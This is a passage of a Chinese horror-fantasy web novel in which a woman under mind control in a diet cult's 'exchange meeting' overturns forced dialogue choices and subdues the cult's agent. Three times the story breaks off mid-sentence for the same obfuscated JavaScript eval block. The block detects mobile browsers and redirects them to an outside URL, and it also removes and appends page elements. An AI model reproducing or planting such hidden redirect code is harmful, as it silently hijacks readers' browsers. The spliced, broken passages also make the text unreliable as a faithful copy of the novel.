如今那两人不在,反倒是举止反常的小柔出现在了这里,显然他才更像背叛者。 伶伶见她毫不动摇,无趣地叹了口气:“哎,你的人缘实在太差了,你一来,我的交流会都变得冷清了。既然如此,我就亲自下场,好好陪你们交流一下吧。” 说到最后,它的话音逐渐变得缥缈,似乎蕴含了某种蛊惑人心的力量。 雁惊春恍惚了一瞬,又很快回过神来。 又走神了,一定是因为最近加班太多的缘故。睡眠不足加上高强度用脑,注意力难免会不集中。 好在马上就要到午休时间了,她可以借着吃午饭的工夫小憩片刻。 她抬起搭在键盘上的左手,揉了揉因长期观看光屏而酸胀的眼睛,脑海中自然而然地冒出一个念头:这下清净多了。 产生这个想法后,她不由得愣了一下。 耳畔嘈杂的大型机器运作声一如既往地响个不停,作为机械公司的员工,她就算待在办公室里也躲不开这些吵闹的声音,时间一久已经被迫习惯了与噪音相伴。 可是就算再怎么习惯,她也不该在这种环境中觉得“清净”啊。莫非这是工作太久的副作用,导致她对外界的感知发生了错乱? 雁惊春困惑地站起身,打算去洗手间摸摸鱼,让自己放松一会儿,右手却被什么东西绊住,没能及时抬起。 她被带得踉跄了一下,直到此时才意识到自己的右手正握着......一根香蕉? 这种中心区上等人才吃得起的水果,怎么会出现在她手里? 这个疑问在她脑中一闪而逝,她很快接受了自己拿着香蕉的事实,转而升起了想要品尝的念头。 她之前看过相关的广告,知道这种水果食用前需要剥皮。然而,在触碰到香蕉皮的刹那,她却忍不住痛“嘶”一声,条件反射地收回了手。 只见她的左手指尖多出了一道血线,温热的血液正从伤口沁出,顺着手指缓慢滑落。 香蕉居然还会咬人?难不成它能自动识别食用者的身份,身价不够的不配吃它? 不愧是上等人的特供水果,真是不容小觑。 就在雁惊春神情严肃地凝视手中的香蕉时,办公室的门忽然被人推开,一个年轻男人走了进来。 男人长相清秀,身着款式简单的职业套装,脚踩黑色高跟鞋,右手紧紧攥着一只人字拖。 在见到她后,男人立刻嗲声埋怨:“春春,都到了吃午饭的时间了,你怎么还待在办公室里呀?不是说好了要来找我的吗?” 不是,大哥,你谁啊? 雁惊春下意识看向男人胸前的工牌,在看清工牌上写着的“男朋友-小柔”后,才终于想起,这是自己不久前新交往的男友。 可奇怪的是,当她望向小柔时,完全感受不到对男友的怜爱之情,反而产生了戒备和嫌恶的情绪。 违和感再度漫上心头,雁惊春若无其事地回道:“不好意思,我最近没休息好,所以有点爱忘事,我们今天中午约好了要做什么来着?” “真是的,你怎么这都能忘。”小柔嗔怪地瞪她一眼,“我们不是说好了要一起吃午饭吗?” 不等她回答,他又继续说:“不过我在旁边陪着你就好啦,我最近在减肥呢,不能吃饭。” 雁惊春上下打量着他苗条的身材:“减肥?” “是呀。”小柔的双眼睁得大大的,一眨不眨地与她对视:“那你呢?你是要吃饭,还是要陪我一起减肥?” 废话,她当然要按时吃饭,不然怎么顶得住这样高强度的工作? 雁惊春嘴唇翕动,嗓子里却没能发出声音。她下意识想要抬手抚摸喉咙,却惊愕地发觉自己完全动弹不得。 与此同时,原本规律的机器运作声像是发生了某种卡顿,变成了连续重复的“咔咔”声。光屏上的数据不再刷新,送风口的扇叶也停止转动,周围的一切仿佛都被按下了暂停键,陷入了静止之中。 三个长条形弹框陡然出现在她面前,每个弹框内都写了一句话,如同游戏中的对话选项。 【A.“我也要减肥,今天不吃饭了。”】 【B.“我们可是情侣,我当然要陪你了,既然你不吃,那我也不吃了。”】 【C.“工作太多,我没胃口,比起吃饭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947713|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是先把工作忙完吧。”】 雁惊春:“......”这不都是同一种选择吗?哪个垃圾策划做出来的无效选项! 她不明白自己为何会遇到这样怪异的情形,但已经意识到自己正在被某种力量限制着,倘若不肯在三个对话里做出选择,时间恐怕会永远停滞下去。 但是遭遇逼迫的感觉令她很不爽,因此她没有顺从地做出选择,反而刻意不去看那三个弹框,转动着眼珠移开视线,同时努力尝试挣动身体。 然而别说移动身体了,她现在连绷紧肌肉都无法做到。所幸她的眼球还能轻微转动,让她瞥见了藏在办公桌下的一团黑影。 在这个静默的世界里,那团不住蠕动的黑影格外明显,令雁惊春不自觉地投去了更多关注。 它的体积与半个选项框差不多大,整体呈椭圆形,乍看像是一团黑影,但仔细观察便能发现,那其实是个由无数不停游移的黑色丝线组成的线团。 假如把她当前所处的世界比作一款游戏,那么这个线团无疑就是潜藏在游戏中的BUG。 可是不知为何,雁惊春却对这诡异的线团感到无比亲切,甚至产生了“我能不能选择它”的想法。 下一瞬,那个被她注视着的线团闪烁了一下,随后倏然消失。 她的眼球也在此刻失去了控制,被迫转回了正前方。她因而得以看清,原本横亘在她与小柔之前的三个弹框上迅速浮现出密密麻麻的裂痕,转眼间便碎裂消散。 她听见自己说:“你有病吧?” 话音落下,时间再度开始流动。她只觉浑身一松,重新拿回了身体的控制权。 可还没等她活动身体,便听到了小柔不可置信的声音:“你说什么?” 糟糕,一旦男人说出这种话,通常说明他们要开始无理取闹了。 雁惊春最受不了男人的絮叨,连忙解释:“我的意思是,那个......你该不会是得厌食症了吧?” “毕竟你现在已经很瘦了,根本没必要减肥啊,而且我们还要上班,不好好吃饭怎么撑得住一天的消耗?”她越说越觉得有道理,“再说了,你就算要减肥,也不能直接绝食啊!别说人类了,就算是我,不吃饭也......诶?” 慢着,她为什么会将自己划分到人类之外? 好在小柔并未察觉她话语中的异常,他似乎因她的言语而受到了冲击,正呆愣地站在原地,口中喃喃自语:“减肥。不吃饭......厌食症?已经很瘦了。有病?不能吃饭。” “你叽里咕噜地说什么呢?”雁惊春走到他身边,抬起一只手在他眼前晃了晃。 小柔却完全沉浸在了自己的世界中,对她的举动视而不见。 雁惊春又试着戳了戳他,见他依然没有反应,索性不再理他,自顾自朝门口走去:“你自己在那杵着吧,我先不管你了。现在已经到饭点了,午休时间这么短,不赶快去吃饭该来不及了。你要是改变主意了,直接来食堂找我就行。” “吃饭?”听到这个关键词,小柔的脑袋猛地向侧方弯折了一下:“不对。错了。不可以。” 他的四肢如同有自己的想法,各自以怪异的角度扭动起来,带动着他朝雁惊春的方向奔去。 两人之间的距离急速缩短,小柔死死盯着雁惊春的脖颈,悄无声息地举起了手中的人字拖。 32. 异食俱乐部11 在小柔朝她冲来的瞬间,雁惊春敏锐地察觉到了身后的动静,尚未回身便已挪步闪躲。 人字拖带着破风声在她身侧划过,她转过身,看到小柔怪异扭曲的肢体,不由一怔:“小柔,你怎么摆出这种姿势?瞅着跟个男鬼似的。” 小柔对她的话充耳不闻,一击落空,便立刻扬起人字拖第二次砸向雁惊春。 雁惊春被他逼至墙角,避无可避,只得举起手中的香蕉格挡。 “锵!”人字拖与香蕉相撞,竟发出了金属碰撞的声响,震得她浑身一激灵。 太不对劲了,她只不过是走了会儿神,怎么就遭遇了这么多怪异的事情? 会咬人的香蕉、游戏般的对话选项、诡异的黑色线团和眼前的男朋友,一切都让她觉得极不真实。 小柔还在疯狂地朝她挥舞手中的人字拖,嘴里不断重复着相似的话语:“不能吃饭。你错了。你要减肥。你要和我一样减肥。不能吃饭不能吃饭。” 雁惊春一次次用香蕉架住他的人字拖,接连的刺耳刮擦声让她的心情越发烦躁。终于,她忍无可忍地加重了力道,用力甩开小柔的手臂后将他一脚踢翻,趁着他挣扎起身的工夫迅速打开了办公室门。 “不吃饱哪有力气减肥啊,没听过民以食为天吗?分手!”丢下这句话后,她立即闪身到门外,反手关上了房门。 “哎,人手不足啊。” 身后忽然传来一声叹息,雁惊春立刻警惕地回头,发现说话的是坐在前方长条桌后的男人。 他身着被改制得极为浮夸的治安队制服,手腕和颈间装点着繁复的首饰,粧容艳丽浮华。 “要是能像之前那样五个围剿一个,拿下更能打的老王都不在话下,怎么会这样轻易的让人跑了?”他单手托腮,像是在与人通话,又像在自言自语。 “不过,更让我在意的是......”他抬起眼,直直对上雁惊春的视线:“你到底是怎么说出预设之外的话的?” 雁惊春满脸困惑地反问:“你是在跟我说话吗?” “算了。”男人放下手,往身后的椅背上一靠:“妙手回春是吧?知道自己犯了什么事吗?” 妙手回春? 她本能地意识到这是在叫她,可是......她的名字有这么奇怪吗?她觉得自己应当还有另外一个名字,可当她试图回想时,却完全想不起自己的其它称呼,反而记起了自己出现在这里的原因。 对了,男人说得没错,她的确犯事了。 她因为非法进食而遭人举报,收到了安全区治安队的传唤。现在,针对她的审讯已经结束,她被判定为有罪,需要来这里等待治安官宣布对她的处理结果。 “看来你已经心里有数了。”男人注意到她的神色变化,满意地从长条桌后起身,向她走来。 她也因此看清了男人胸牌上的名字:“治安官-伶伶”。 伶伶走近她,上下打量一番后,朝着位于房间另一头的隔间门扬了扬下巴:“把你手里的东西放下,然后进去吧。你的狱友正好也在里面弥补罪行,你照着他的样子做就是了。” 听到他的要求,雁惊春才发觉自己的右手一直握着什么东西。她低头看去,发现那是一个遍布霉斑的长条面包,细密的菌丝在面包表面肆意生长,已经蔓延上了她的手掌。 她感到一阵恶心,连忙松手。干硬的面包砸到地上,发出清脆的声响。 这着实不像面包会发出的声音,雁惊春的心头涌起一股违和感,正想蹲下仔细研究,旁边却蓦地伸出一只脚,将那块面包远远踢开。 伶伶语气不善地催促:“行了,别看了。你都非法进食了,居然还敢拿着食物进治安队,再不赶紧进去,别怪我给你罪加一等。” 雁惊春蹙起眉,扭头想和他理论,却不料恰好瞥见了他说话时露出的一口烂牙。 看到那两排腐烂发黄的牙齿,她瞬间失去了与他沟通的欲望,嫌弃地绕过他走向了里面的隔间。 刚一推开隔间的门,一股酸臭的呛鼻气味便扑面而来,她下意识皱起鼻子,抬手在面前扇了扇。 隔间内,一个身材清瘦的男人正扒在水池边呕吐,手边还放着勺子、牙刷、仙男管等催吐工具。隔间尽头的窗户大开着,有风从窗外吹来,却带不走室内刺鼻的呕吐物味。 眼看着男人好不容易平复下来,又马上将手指伸进喉咙进行下一波催吐,雁惊春赶忙出言阻止:“等一下,你干嘛要催吐啊,误食毒物了吗?” 男人的动作顿住,半晌才迟缓地抽出手指,转身面向她,露出苍白的面容和印着“狱友-小柔”字样的胸牌。 “毒物?是啊,我中毒了。”小柔气若游丝,“我违反安全区禁令,吃下了一种名为‘营养剂’的食物。” “多亏治安队及时发现我的违法行为,将我带到了这里。否则我恐怕这辈子都不知道,进食等于慢性自杀!”他的身体因恐惧而微微颤抖,“进食会让我们变得肥胖,在不知不觉间犯下不可饶恕的罪孽,甚至我还听说......” 他咽了咽口水,紧张地左右张望一番,才凑近雁惊春的耳朵小声说:“所有吃过饭的人,最后都死了,无一例外!” 雁惊春:“......” 雁惊春:“那你有没有听说过,空气里其实也有慢性毒素,喘过气的人最后也都死了。” “什么!”小柔惊愕地瞪大双眼,死死捂住自己的口鼻。 就在这时,隔间门突然被用力踹开,伶伶冷笑着出现在门口:“你俩还聊起来了?忘了自己是来赎罪的吗!” 伴随着他的话语,雁惊春的眼前骤然出现了三个弹框: 【A.使用勺子进行赎罪】 【B.使用牙刷进行赎罪】 【C.使用仙男管进行赎罪】 这是什么鬼东西?治安队的最新科技吗? 雁惊春扫视过弹框中的文字,又瞄向伶伶的满口烂牙,立即意识到他牙齿的腐蚀正是长期催吐所致。 她不由对这种赎罪方式心生抗拒,甚至开始怀疑自己是否真的有罪。然而就在她打算出声反驳时,却发现自己竟完全无法动弹,别说活动唇舌了,她就连转动眼珠都做不到。 不仅如此,水池下水的声响、穿堂风吹拂的感觉也在不知何时消失得无影无踪,这里的时间仿佛陷入了停滞,只有眼前的男治安官伶伶未受影响。 他手中握着那条被她丢弃的发霉面包,一步步朝她逼近:“好了,快选吧。选一种方式进行赎罪。” 雁惊春从伶伶的神情和语气中感受到了他的不耐,脑中警铃大作。她莫名有种直觉,如果不尽快选择一个选项,他必定会按捺不住,向她发起攻击。 可是她对于催吐赎罪这件事极为反感,总觉得倘若顺着伶伶的意思做出了选择,等待她的同样不会是什么好结果。 仿佛感应到了她内心对三个现有选项的抵触般,在最后一个弹框下方陡然出现了一团不停蠕动的黑线。 它起初是密密麻麻的一团,眨眼间两端的线头从中冒出,迅速往两侧延伸,黑线涌动着、交缠着,顷刻形成了一行颤动不休的文字: 【D.“你牙烂了。”】 这是......第四个选项? 顾不得多想,雁惊春立即盯紧了那行由黑线构成的文字,在心底呐喊:选D!我选D! 伴随着她强烈的意愿,黑色的文字周围泛起了一圈光晕,其余三个选项则破裂消失。 紧接着,黑字继续向两边拉伸,抻成了一条笔直的细线,在空中停留半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951772|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒后猛地朝她游来,顺着她的眼眶钻了进去。她并未因此感到疼痛,只是不由自主地脱口而出:“你牙烂了。” 伶伶面色一僵,下意识抿紧双唇。 雁惊春却还在输出:“你一直都在催吐吧?是不是已经形成依赖,戒不掉了?你难道没发现你的牙被反流的胃酸腐蚀成什么样了吗?” “还有,你有没有呕过血?有没有觉得心慌胸痛?这么不珍惜自己的食道和胃,不如捐献给其他有需要的人。” “我不知道你催吐是为了减肥还是有其它原因,但如果你不想死的话,我劝你尽快停止这种行为,更不要再怂恿其他人催吐。” 说完这一连串的话,雁惊春终于夺回了身体的控制权。 如此古怪的地方令她片刻也不想多留,趁着伶伶尚在愣神,她一把夺过他手里的发霉面包,撞开挡在半路的小柔,狂奔到了窗户旁边。 临走前她扭过头,留下一句:“快去找个医生看看吧。”说罢便撑住窗框翻了出去。 刚一落地,不远处就传来一声惊呼:“天呐,妙手回春,你怎么又偷跑出去了?” 雁惊春稳住身形,循声望去,正好与匆匆赶来的年轻男人对上视线。 男人穿着白大褂,胸前别着“实习医生-小柔”的胸牌,手中拿着一本病例。 还不等她想明白自己为何会出现在这里,小柔已经满脸焦急地走了过来,抓住她的手腕将她往里带去,嘴里还在不停埋怨:“真是的,你刚才跑哪儿去了?差点就错过用药时间了,知不知道我找了你多久啊!这么不配合治疗,你究竟想不想成功减肥,顺利出院了?” 雁惊春被他半拖半拽着往前走,听了他的话才逐渐想起,自己因过度肥胖被勒令住院治疗,只有减肥成功才能出院回归正常生活。 男实习医生小柔是负责监督她减肥的人,平时工作尽职尽责,对她也很是关照,可是她不知为何始终不太喜欢他,此刻也十分抵触被他牵着走路。 然而她并未挣开小柔的手,反倒任由他将自己带进了一间诊室。这一是因为周围的医院环境令她没来由地感到安心,二是因为她潜意识里认为健康是很重要的,但凡生病就必须找医生进行治疗。 诊室内没有窗户,布置得相当简单,只有一张桌子、两把椅子,桌上放着一排药瓶和一摞病例,桌后坐着一个外披白大褂,内穿花哨衬衫的男人。从他佩戴的胸牌可以看出,他就是她的主治医生,伶伶。 此时,他做了精致美甲的指甲正高频率地敲打着办公桌,似乎极为烦躁焦虑。 听到动静,他抬起头来,红唇略显僵硬地勾起:“哟,来了?” 雁惊春朝他点点头,在他对面的椅子坐下,下意识问:“你怎么了?看起来状态不太好。” 谁知这句简单的问候直接让他破防了,只见他猛地一拍桌子,高声呵斥:“这是你该说的台词吗?你是医生还是我是医生!” “冷静,我知道你是医生。”雁惊春连忙安抚两句,转头对小柔低声道:“你先出去吧。” 她的语气太过自然和笃定,仿佛在诊室内由她发号施令是理所应当的事。小柔在原地犹豫两秒,默默退了出去,还轻手轻脚地关上了房门。 雁惊春将一条胳膊搭在办公桌上:“说说吧,现在是什么情况?” “什么情况?”伶伶冷哼一声,赌气似的嚷道:“情况就是你需要减肥!要按时吃药!吃我开的药!” “可是我为什么需要减肥呢?”雁惊春循循善诱。 “废话!”伶伶又变得激动起来,音调拔高:“当然是为了健康啊!你不是动不动就爱把健康挂在嘴边吗?这样说你总能接受了吧!” “健康?”雁惊春忍不住笑了,“你现在,是在跟我谈‘健康’吗?” 33. 异食俱乐部12 伶伶看着她脸上意味深长的笑容,不自在地调整了一下坐姿,莫名有些不安。 但它转念一想,这里毕竟是交流会的会场,是绝对受它掌控的地方,场景和情节都是按照它的想法呈现的,眼前这人只不过是利用某种特殊技能说出了两次预设之外的话而已,有什么大不了的? 之前那几个拥有天赋的人类也曾发起过反抗,结果不还是在一轮接一轮的“交流”中逐渐迷失了自我吗? 暗中进行了一番自我安慰后,伶伶的心情平复了些许,重新端起了那副高贵冷艳的架势。 它没再对雁惊春的问话做出回应,板着脸从桌边那排药瓶中取出一个,推到她面前,试图将这轮交流的流程拉回正轨:“别废话了,现在已经到了该服药的时间,赶快把药吃了,这样你才能减肥成功、顺利出院。” 雁惊春瞥它一眼,伸手拿过药瓶,拧开瓶盖朝里看去。 只见药瓶内盛满了某种半透明的溶液,溶液中浸泡着一根极长的刀削面。 但等她盯着那扁平的带状物多看一会儿,便发觉那根本不是什么“刀削面”,而是某种活物。 “我本来打算给你开泻药的,但是你的肥胖程度太严重了,泻药对你来说见效太慢。”伶伶的眼中饱含恶意,“所以我特意为你准备了这个,绦虫,把它放到你的身体里,就可以帮你迅速地、由内而外地完成减肥。” “好了,现在医生已经根据你的症状开好药了,为了早日摆脱肥胖、恢复健康,你应该做什么?” 它的问题刚一出口,三个弹框便随之显现,牢牢占据了雁惊春的视野中心: 【A.吃掉它。】 【B.吃掉它。】 【C.吃掉它。】 在选项框的缝隙间,还可窥见寄生虫在药瓶中缓慢游动的身影。 她眼睑微抬,望向伶伶,三个弹框也随着她的视线一并上移,半遮住了它紧绷的面容。 伶伶始终紧盯着她的一举一动,见她抬眼,当即催促:“愣着干什么?选啊,你不是很注重健康吗!” 雁惊春与它对视数秒,突兀地冒出一句质问:“你有行医资格证吗?” “什么?”伶伶一怔,随即意识到不对,立刻起身:“等等,你还没做出选择,是怎么......” “你没有行医资格证,没资格给我看病。你也没有处方权,没资格给我开药。”雁惊春的语速越来越快,一团细密的黑线伴着她的话语在弹框的夹缝中浮现,如同有意识般自动分为三股,各自钻进了三个弹框内,硬生生挤入选项原有的字母与文字间,纠缠着构成了一个个颤抖的文字。 三个选项的内容因此发生了变化: 【A.让病人吃掉它。】 【B.让病人吃掉它。】 【C.让病人吃掉它。】 “也巧,行医资格证和处方权我都有。”她随意地选取了其中一个选项,顺应选项的牵引拿起药瓶,大步走向伶伶:“所以,还是换我来给你看病吧。” 伶伶匆忙后退,色厉内荏:“站住!我警告你,根据《会员手册》第十一条,会员是禁止殴打俱乐部工作人员的!” “别紧张,我怎么会殴打自己的患者呢?我这是在帮你治病呀。你知道的,这种寄生虫可是能减肥瘦身的‘良药’。”雁惊春步步紧逼,冷眼看着伶伶在慌乱退避时不小心被椅子绊倒,狼狈地摔倒在地。 雁惊春俯下身,居高临下地注视着它,手边的药瓶凑近了它的面颊:“好了,请你乖乖的不要乱动。如果我没猜错的话,‘遵循选项要求进行行动’应该是交流会的重要规则吧?我现在可是在按照选项的要求给你喂药,你作为负责本场活动的工作人员,是不是应该配合一点?” “还是说,你想要打破自己制定的规则?” 说话间,瓶身倾斜,瓶内的溶液缓速流出,将内部的寄生虫带到了瓶口。它本能地在附近找寻起下一个宿主,很快便拉长了身体往伶伶的耳道探去。 眼看着自己即将遭遇寄生,伶伶脸上惶恐的神色反而逐渐褪去,取而代之的是阴狠的恨意。 “原来你打得是这个主意,想逼我自己废除规则,好让我遭受惩罚?呵呵,你做梦!”它不再试图躲避,只死死盯着雁惊春,殷红的唇咧开,露出满口腐蚀朽烂的牙齿:“不过是.....嗬......不过是这种程度而已,你以为我会承受不住吗?” “你给我等着......这次,这次只是因为我判断失误,才叫你钻了空子。你的天赋和医生有关吧?不然就是跟医院有关!等到下一轮交流的时候,我换一个场景,看你还......嘶......看你还怎么嚣张!” 雁惊春平静地望着它扭曲丑陋的面容:“你确定自己构筑出了这样的场景、设置了这样的情节,仅仅是因为判断失误?” 伶伶咬紧牙关,强压下痛呼的欲望:“不然呢?” 雁惊春没有回答。她当然不会提醒伶伶,它以为的“由自己做出的判断”,其实已在不知不觉间受到了她的影响—— 当它意图通过一轮轮的“交流”向她灌输俱乐部的精神污染时,她也在通过自己的言行给它造成污染。 就在这时,“喂药”环节结束,伶伶终于重获自由,它不顾自己血流不止的耳道,挣扎着从地上爬起,撞开雁惊春,疾步走向墙边,一把撕下了粘在上面的墙纸。 隐藏在墙纸后方的,是通往下一个场景的大门。 雁惊春转身看着它的背影,没有抬步追赶,因为熟悉的黑线已替她拦住了伶伶的去路,在它面前像模像样地组成了三行文字: 【A.病没治好,我还不能走。】 【B.健康是最重要的,我要回去继续治病。】 【C.我要遵从医嘱,在医生同意前,我不能离开。】 伶伶顿时心生不妙,想要抬手将它们挥开,身体却在此时感受到了无形的压力,压得它无法动弹,只能僵在原地。 操纵者与提线人偶的身份在这一刻彻底调换,雁惊春好整以暇地踱步到它跟前,在它惊惧的目光中扬了扬眉:“干嘛这么惊讶?这不是你最熟悉的交流方式吗?” 伶伶的嘴唇嗫嚅着,艰难地从喉间挤出几个字:“怎么......可能......你是,支配者?还是...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975098|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 早在交流会开始前,它就根据小柔提供的情报推断出这个自称“妙手回春”的人类已经觉醒了天赋,因而即便目睹她数次增添、修改选项,它也只以为这是因为她的技能特殊,认为在经过多轮交流的消磨后总归能够破解。 但是现在,她居然在没有它的选项作为基础的情况下,凭空捏造出了三个强制选择的选项!这怎么可能?制造这种选项凭借的不是天赋也不是技能,人类怎么可能做到! 它迫切地想要知道缘由,可惜雁惊春并没有向敌方解释战术的癖好,只是满脸真诚地说道:“说起来,我还得谢谢你呢。” 伶伶把这话当成了嘲讽,望向她的眼神愈发怨毒。 然而对于雁惊春来说,这句话不过是在陈述事实。 在来到俱乐部之前,她释放精神污染的手段非常单一,全靠使用技能【行医资格证】,将污染散播给看到证件的人和非人。 这种传播方式固然便捷,可一旦对方的天赋等级高于她,或者资格证因对方的特殊技能无法展示,她的技能便会失效,无法给对方造成精神污染。 她曾经对此感到困惑:明明其它蜕和织茧者都没有使用什么技能,就可以给周围人造成污染,为什么她想要散播污染却要受到那么多限制? 直到经历了猛瘦和伶伶的“言传身教”,她才终于意识到,自己的精神污染难以散播出去不是因为她不正常,反倒是因为她太正常了。 她的理智就像一道又高又厚的堤坝,保护自己的同时也阻断了污染向外涌出,【行医资格证】就是这道堤坝的唯一排水口,一旦排水口被堵,精神污染自然也会遭到封锁。 要想如其它蜕和织茧者一般成为浑身带毒的污染源,她就必须在这道堤坝上凿洞,先让自己陷入疯狂。 诚然,这种做法存在迷失自我的风险,稍有不慎,堤坝就会全面垮塌,让她的理智彻底被混沌吞噬。 但与此同时,这也解开了她的枷锁。在尚且懵懂时,她便不自觉地模仿了猛瘦的做法,学会了将精神污染藏在话语里,从而影响听者的精神。 在交流会开始后,她的记忆被伶伶篡改,从她千疮百孔的理智中涌出的精神污染也因此与她分离,她脑中的絮语就此消失。可那些被分离出的污染却没有消散,反而凝集成了黑色丝线般的实体,遵循她的意志与伶伶散播的污染进行对抗。 而在它们抗衡的过程中,她察觉到,伶伶制造出的选项框和她的黑线一样,都属于精神污染具象化的产物。 也难怪它会对她制造出选项一事感到如此意外,对具象化的精神污染如臂使指,的确不是人类能干出来的事。 就连她这个刚开窍的织茧者,在会场外恐怕也只能做到将污染藏进文字中,潜移默化地污染阅读者的精神这种程度。 但在会场内,伶伶已经帮她将精神污染提炼成了实体,还提前设置了不知多少规则,用以支撑它将精神污染凝练成不可违背的选项。 如此一来,雁惊春不需多费工夫,只要搭上这班便车,就能顺理成章地和它制造出同样的强制选项,将它的指令原样奉还:“好了,快选吧。” 34. 异食俱乐部13 伶伶僵在原地,半晌都没有做出反应,如果不是它的眼珠还在轻微转动,雁惊春甚至怀疑它也和猛瘦一样,被隐藏在暗处的织茧者强制下线了。 摆在它面前的只有两条路:是付出惨痛的代价废除规则、脱离选项的控制,还是顺应规则选择一个选项、向她屈服? 对于它会做出怎样的选择,雁惊春暂时还没有把握。毕竟它虽然受到了她的精神污染影响,但认知上仍偏向瘦身俱乐部。 那么,能不能尝试通过其它手段,增加它为自己所用的概率呢? 雁惊春快速回想起见到伶伶后的场景。在她遇见过的蜕中,伶伶的智力算是比较高的,它自恋、狡猾,似乎拥有很强的虚荣心和控制欲,和前台苗苗很不对付。 她不知道在她进入会场后,会场外究竟发生了什么,但依老王和小柔之前的表现,小柔会变成傀儡大概率不是因为老王放弃了对他的保护,更像是小柔在跟着老王服用了她给的“减肥药”后放心不下,又主动服用了伶伶的减肥药。 在这个猜测的基础上继续往下推,小柔选择了伶伶,就相当于背叛了她们。那他在背叛后,会不会向伶伶透露过一些情报呢?比如......她的特殊之处? 这个可能性也很大,否则伶伶干嘛要将大王和老王关在副本外,集火对付她这个刚来俱乐部的新人? 她不知道伶伶都透露了哪些消息,索性决定实话实说:“对了,小柔有没有告诉过你,猛瘦现在怎么样了?” 伶伶没有吭声,她便自顾自接着道:“哎,我真没想到它居然那么脆弱,我不过是让它颁布了一条新规,叫它任命我为减肥药供应商,它居然就遭到了惩罚,当场被舍弃,直接变成一具空壳了,看来你们这里的规矩还真是不能随便改动呀。” “你不是......也一样......”伶伶吃力地发出声音。 这话说得没头没尾,但雁惊春还是领会到了它的意思:“你是想说向我低头和修改规则最后都要死?真是的,我哪有你想得那么残忍啊。” “我之前失手害死猛瘦,只是因为不知道在规则上动手脚会造成如此严重的后果,否则我让它做个长期的助力不是更好?” 她循循善诱:“但是这次我吸取了教训,当然不会为难你,顶多让你在现有规则下提供些便利,好顺利帮我们逃出去,不会送你去死的。” 伶伶:“能力者......不可信!” “不,你必须相信我。”雁惊春似笑非笑地与它对视,“服从我,你还有存活的可能;修改规则,你的下场就会跟猛瘦一样。你面临的选择其实很简单,就看你是打算选一条必死之路,还是选一条生死未知的道路了” “哦,对了,虽然你活着的时候我不能把你绑到别的楼层,但等你死得就剩一层空壳了,我一定会把你搬去一楼前台,请苗苗好好观赏你战败的尸首。这也不能怪我,毕竟笼络一个失败,总要试着讨好另一个,你说对吧?”她笑眯眯地补充。 伶伶:“......” 它没再说什么,然而悬浮在它面前的选项已替它做出了回答。 只见A选项的周围浮现出一圈白光,显然是已被选中的状态,紧接着,三个选项汇聚到一起,重新变为一条细线,回到了雁惊春的体内。 与细线一起走向她的还有伶伶,它和之前的她一样,在选择选项后身体不再受自己控制,不由自主地行动起来,老老实实坐在了座椅上。 不同的是,这一次,它坐在了患者的位置上。 雁惊春坐在它对面,偏头观察片刻,神情逐渐严肃:“你的耳朵里是进过什么异物吗?怎么一直在流血?嘶——怎么流出的血还是黄色的?” 伶伶不受控制地开口:“医生,我得了什么病?” 雁惊春做沉思状:“根据我刚才用人体原装眼扫描到的结果,你脑子里恐怕进虫了。” 伶伶:“医生,请你治好我。” “放心,治疗起来很简单,睡觉就行。”她言之凿凿,“在你沉睡的时候感觉不到病痛,病自然就被治好了,这就是大名鼎鼎的唯心主义疗法。” 伶伶:“医生,我睡不着。” “这就更简单了,你现在照我说得做就行。”她大手一挥,“先把头往后仰,再往后点,很好。接下来,你要确保你的头能在一秒内与桌面发生接触......好家伙,这么大动静。什么?还没睡着?没关系,治疗就是要持之以恒,我们再来一次......” 就这样重复几次后,伶伶的头抵在桌上,陷入了香甜的睡眠。 随着它的沉睡,周围的场景变得虚幻起来,雁惊春甚至能隐约透过诊室的墙壁看到外面小柔徘徊的身影。 很显然,这是一个行动的好机会。她既可以直接跑路以求安稳脱身,也可以趁它病要它命。 然而这两种行动方式都不在她的计划之内。一方面是她好不容易才控制住伶伶,怎么可能轻易放过它?另一方面,她之前对伶伶说的确实是实话,她目前并没有杀它的打算。 ——因为她想在伶伶身上做个试验。 她从衣服内袋中取出一枚胸牌。这是她不久前在那三名骨瘦如柴的会员身上取下的,每一个胸牌上都没有姓名,只印了【会员】二字。 紧接着,她起身走到伶伶身旁,小心地将这枚胸牌别在了它的胸口,与【导师-伶伶】的胸牌并列。 她做这个尝试的原因很简单,《会员手册》中除了第一条规定会员必须时刻佩戴完整、清晰、由俱乐部前台制作的胸牌以外,涉及到“胸牌”的规则只剩两条: 【十二、会员禁止偷盗或抢夺工作人员胸牌。】 【十三、会员禁止互换胸牌,禁止佩戴不属于会员本人的胸牌。】 